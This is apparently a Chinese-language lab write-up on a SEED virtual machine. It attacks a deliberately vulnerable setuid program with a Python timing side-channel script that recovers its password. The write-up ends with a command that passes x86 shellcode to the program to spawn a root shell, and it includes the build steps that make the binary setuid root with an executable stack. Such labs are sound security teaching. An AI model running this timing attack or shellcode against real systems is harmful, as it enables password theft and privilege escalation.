1. 程式人生 > 其它 >Side Channel Attack 側通道攻擊 Python 實現

Side Channel Attack 側通道攻擊 Python 實現

Side Channel Attack

通過使用所提供的漏洞程式碼 sidechannel.c,設計一個攻擊程式碼,利用側通道攻擊的方式獲取密碼,並通過shellcode 來獲取 root shell。

本文作者:zmzzmqa

原始碼

要攻擊的程式原始碼

//sidechannel.c
//s.pass root只讀
//S1deCh4nnelAttack3r

#include <stdio.h>
#include <string.h>

int main(int argc, char **argv)
{
       FILE *in = 0;
       char pass[20]="";
       unsigned int i=0, j=0;
       unsigned short correct=0,misplaced=0;
       unsigned short pwlen=strlen(pass) - 1, inlen=0;
       if(argc != 3 || (inlen=strlen(argv[1]) - 1) > 19)
               return 1;

       setresuid(geteuid(),geteuid(),geteuid());

       in = fopen("s.pass","r");
       pass[fread(pass, 1,19,in)] = 0;
       fclose(in);

       for (i = 0; i <= inlen && i <= pwlen; i++)
               if(pass[i] == argv[1][i])
                       correct++;
               else
                       for(j = 1; j < pwlen; j++)
                               if(argv[1][i] == pass[(i+j)%19])
                                       misplaced++;

       if(correct == 19)
               ((void (*)()) argv[2])();

       return 0;
}

配置環境

編譯程式並設定棧可執行。

sudo gcc sidechannel.c -o sidechannel -z execstack
sudo chown root sidechannel
sudo chmod 4755 sidechannel

攻擊

本次攻擊利用程式比對密碼時,正確密碼和錯誤密碼花費的時間明顯不一樣,來找出正確的密碼。本指令碼使用python3,如果是seed12.04則自帶的是python2。

#!/usr/bin/python3
# -*- coding: utf-8 -*-
import os
import string
import time

rpasswd = 'S1deCh4nnelAttack3r'  # 正確的密碼
#shellcode = "\\x6a\\x17\\x58\\x31\\xdb\\xcd\\x80\\x6a\\x0b\\x58\\x99\\x52\\x68//sh\\x68/bin\\x89\\xe3\\x52\\x53\\x89\\xe1\\xcd\\x80"
shellcode = '123'
password = []    # 定義密碼變數
orgpasswd = []
passwordDict = {}
errnum = 0
reset = 25
numletter = string.ascii_letters+string.digits  # 密碼範圍
print(numletter)
for k in range(19):   # 限定密碼長度
    time.sleep(1)  # 必要的
    timelist = []
    for c in numletter:  # 遍歷密碼範圍
        password.append(c)
        avgtime = 0      # 定義並將統計時間變數置為0
        command = './sidechannel ' + \
            ''.join(password)+' '+shellcode  # 拼接要執行的命令
        for i in range(reset):  # 重複次數
            start = time.time_ns()  # 使用time_ns函式計時
            os.system(command)  # 執行命令
            end = time.time_ns()
            avgtime += end - start  # 記錄平均時間
        passwordDict[c] = avgtime  # 寫入字典
        timelist.append(avgtime)  # 新增至列表,之後比較
        password.pop()
    # 將字典按照元素值進行逆序排序
    passwordDict = dict(sorted(passwordDict.items(), key=lambda i: i[1]))
    if len(password) == 18:  # 當最後個時,時間最長為正確
        # password.append(numletter[timelist.index(max(timelist))])
        password.append(list(passwordDict.keys())[-1])
        orgpasswd.append(password[k])
    else:  # 將時間最短的保留
        password.append(list(passwordDict.keys())[0])
        orgpasswd.append(password[k])

    if password[k] != rpasswd[k]:  # 判斷密碼是否正確,不正確列印相關資訊
        print(f"Error {password[k]},Success is {rpasswd[k]}")
        print(
            f"{password[k]}:{timelist[numletter.index(password[k])]}  --  {rpasswd[k]}:{timelist[numletter.index(rpasswd[k])]}修正")
        print(f"備選方案:{list(passwordDict.items())[0:5]}")
        password[k] = rpasswd[k]
        errnum += 1
    print(''.join(password))
print(
    f"修正密碼:{''.join(password)}\n直算密碼:{''.join(orgpasswd)}\n迴圈次數:{reset},錯誤位數:{errnum}")  # 列印已經判斷出的密碼

攻擊程式中不能直接使用shellcode,python3中執行不能成功。

多次執行結果,較為穩定。對於python難以獲得正確的值,我的解決辦法是通過多次嘗試,取結果中出現次數較多的值。

S1deCh4nnelA9tack3r
S1deCh42neZAttack3r
S1deCo4nnslAttLyk3r
S1deCh4ngeJAhPick3r
 綜合結果
S1deCh4nnelAttack3r

root shell

得到密碼後,在 seed 使用者下攻擊漏洞程式,獲得 root shell。

./sidechannel S1deCh4nnelAttack3r $(python -c "print '\x90'*1000+'\x6a\x17\x58\x31\xdb\xcd\x80\x6a\x0b\x58\x99\x52\x68//sh\x68/bin\x89\xe3\x52\x53\x89\xe1\xcd\x80'")